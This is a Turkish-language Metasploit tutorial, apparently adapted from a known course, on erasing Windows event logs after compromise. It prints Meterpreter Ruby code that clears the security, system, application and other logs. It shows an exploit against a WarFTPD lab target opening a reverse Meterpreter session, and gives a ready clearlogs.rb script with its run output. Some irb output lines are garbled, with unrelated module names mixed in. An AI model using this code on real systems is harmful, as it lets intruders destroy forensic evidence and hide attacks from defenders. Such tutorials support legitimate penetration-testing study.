MSF Log Yönetimi
Bazen hedef bilgisayarda yaptığınız işlemlerin log kayıtlarını temizlemek isteyebilirsiniz. Bu temizleme işlemi için öncelikle meterpreter in sağladığı winenum
script kodlarının nasıl çalıştığına bakalım. Script dosyasını Metasploit Framework klasörünüzün altında /usr/share/metasploit-framework/scripts/meterpreter/winenum.rb
adresinde bulabilirsiniz. Bu dosya içerisinde bir çok bölüm bulunmaktadır. Biz şimdilik sadece # Function for clearing all event logs
kısmıyla ilgileneceğiz.
# Function for clearing all event logs
def clrevtlgs***()***
evtlogs ***=*** ***[***
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
***]***
print_status***(*** "Clearing Event Logs, this will leave and event 517"***)***
begin
evtlogs.each ***do*** |evl|
print_status***(*** "\tClearing the #{evl} Event Log"***)***
log ***=*** @client.sys.eventlog.open***(*** evl***)***
log.clear
file_local_write***(*** @dest,"Cleared the #{evl} Event Log"***)***
end
print_status***(*** "All Event Logs have been cleared"***)***
rescue ::Exception ***=>*** e
print_status***(*** "Error clearing Event Log: #{e.class} #{e}"***)***
end
end
Programlama ile ilgilenenler kodları ve fonksiyonun nasıl çalıştığını rahatlıkla anlayacaktır. Yukarıdaki kodların ne işe yaradığını özetle açıklayalım. evtlogs.each do |evl|
döngüsü, Windows’a ait ‘security’, ‘system’, ‘application’, ‘directory service’, ‘dns server’ ve ‘file replication service’ loglarını sırasıyla açar ve temizler.
Şimdi, hazır script yerine yukarıdaki dosyadan örnek alarak kendi script kodumuzu oluşturalım ve kaydedelim. Bunun için Meterpreter içnde Ruby kodlamayı kullanacağız. Temizlikten önce Windows Log durumunu aşağıdaki resimden görebilirsiniz.
Biz sadece ‘system’ loglarını temizlemek istediğimizden yukarıdaki döngü içerisinden sadece log = client.sys.eventlog.open(‘system’)
durumunu kullanacağız.
Bu kısımda deneme yapıyoruz
Öncelikle hedef bilgisayarda bir meterpreter shell açmış olmalıyız.
msf exploit***(*** warftpd_165_user***)*** ***>*** exploit
***[*** ******* ***]*** Handler binding to LHOST 0.0.0.0
***[*** ******* ***]*** Started reverse handler
***[*** ******* ***]*** Connecting to FTP server 172.16.104.145:21...
***[*** ******* ***]*** Connected to target FTP server.
***[*** ******* ***]*** Trying target Windows 2000 SP0-SP4 English...
***[*** ******* ***]*** Transmitting intermediate stager ***for *** over-sized stage...***(*** 191 bytes***)***
***[*** ******* ***]*** Sending stage ***(*** 2650 bytes***)***
***[*** ******* ***]*** Sleeping before handling stage...
***[*** ******* ***]*** Uploading DLL ***(*** 75787 bytes***)*** ...
***[*** ******* ***]*** Upload completed.
***[*** ******* ***]*** Meterpreter session 2 opened ***(*** 172.16.104.130:4444 -> 172.16.104.145:1246***)***
Ardından meterpreter shell içerisinden Ruby kodlayıcısını irb
komutuyla çalıştırıyoruz ve aşağıdaki kodları yapıştırıyoruz.
meterpreter ***>*** irb
***[*** ******* ***]*** Starting IRB shell
***[*** ******* ***]*** The 'client' variable holds the meterpreter client
***>>*** log ***=*** client.sys.eventlog.open***(*** 'system'***)***
***=>*** #>#:0xb6779424 @client=#>, #>, #
"windows/browser/facebook_extractiptc"***=>*** #, "windows/antivirus/trendmicro_serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=>#
Şimdi, meterpreter içerisinde log.clear
komutuyla logların temizlenip temizlenmediğini kontrol edelim.
***>>*** log.clear
***=>*** #>#:0xb6779424 @client=#>,
/trendmicro_serverprotect_earthagent"=>#, "windows/browser/ie_iscomponentinstalled"=>#, "windows/exec/reverse_ord_tcp"=>#, "windows/http/apache_chunked"=>#, "windows/imap/novell_netmail_append"=>#
Meterpreter içerisinde Ruby kodlayıcısı kullanarak basit bir log temizleme denemesi yaptık ve yaptığımız kontrolde başarılı olduk. Bu yaklaşımı kullanarak kendi Script kodlarımızı yazabiliriz.
Tüm Logları Temizleme
Aşağıdaki kodları bir dosyaya yazarak /usr/share/metasploit-framework/scripts/meterpreter/
klasörüne clearlogs.rb
adıyla kaydedin.
evtlogs ***=*** ***[***
'security',
'system',
'application',
'directory service',
'dns server',
'file replication service'
***]***
print_line***(*** "Clearing Event Logs, this will leave an event 517"***)***
evtlogs.each ***do*** |evl|
print_status***(*** "Clearing the #{evl} Event Log"***)***
log ***=*** client.sys.eventlog.open***(*** evl***)***
log.clear
end
print_line***(*** "All Clear! You are a Ninja!"***)***
Artık bu yeni oluşturduğunuz Script kodlarını yeni açtığınız Meterpreter oturumlarında çalıştırabilirsiniz.
msf exploit***(*** warftpd_165_user***)*** ***>*** exploit
***[*** ******* ***]*** Handler binding to LHOST 0.0.0.0
***[*** ******* ***]*** Started reverse handler
***[*** ******* ***]*** Connecting to FTP server 172.16.104.145:21...
***[*** ******* ***]*** Connected to target FTP server.
***[*** ******* ***]*** Trying target Windows 2000 SP0-SP4 English...
***[*** ******* ***]*** Transmitting intermediate stager ***for *** over-sized stage...***(*** 191 bytes***)***
***[*** ******* ***]*** Sending stage ***(*** 2650 bytes***)***
***[*** ******* ***]*** Sleeping before handling stage...
***[*** ******* ***]*** Uploading DLL ***(*** 75787 bytes***)*** ...
***[*** ******* ***]*** Upload completed.
***[*** ******* ***]*** Meterpreter session 1 opened ***(*** 172.16.104.130:4444 -> 172.16.104.145:1253***)***
meterpreter ***>*** run clearlogs
Clearing Event Logs, this will leave an event 517
***[*** ******* ***]*** Clearing the security Event Log
***[*** ******* ***]*** Clearing the system Event Log
***[*** ******* ***]*** Clearing the application Event Log
***[*** ******* ***]*** Clearing the directory service Event Log
***[*** ******* ***]*** Clearing the dns server Event Log
***[*** ******* ***]*** Clearing the file replication service Event Log
All Clear! You are a Ninja!
meterpreter ***>*** exit
Aşağıdaki resimde görüldüğü gibi tüm loglar temizlenmiştir. Geriye sadece 517 numaralı işlem kalmıştır. O işlemde halen meterpreter’in çalıştığı proses olduğundan halen aktif durumdadır.
Bu yazıda, Metasploit Framework içerisinde bulunan Scriptleri örnek alarak kendi script dosyamızı yazmayı ve log temizlemeyi göstermeye çalıştık. /usr/share/metasploit-framework/scripts/meterpreter/
klasöründe bulunan diğer script dosyalarını da incelemenizi tavsiye ediyoruz. Bu sayede elinizdeki imkanları da öğrenmiş olacaksınız.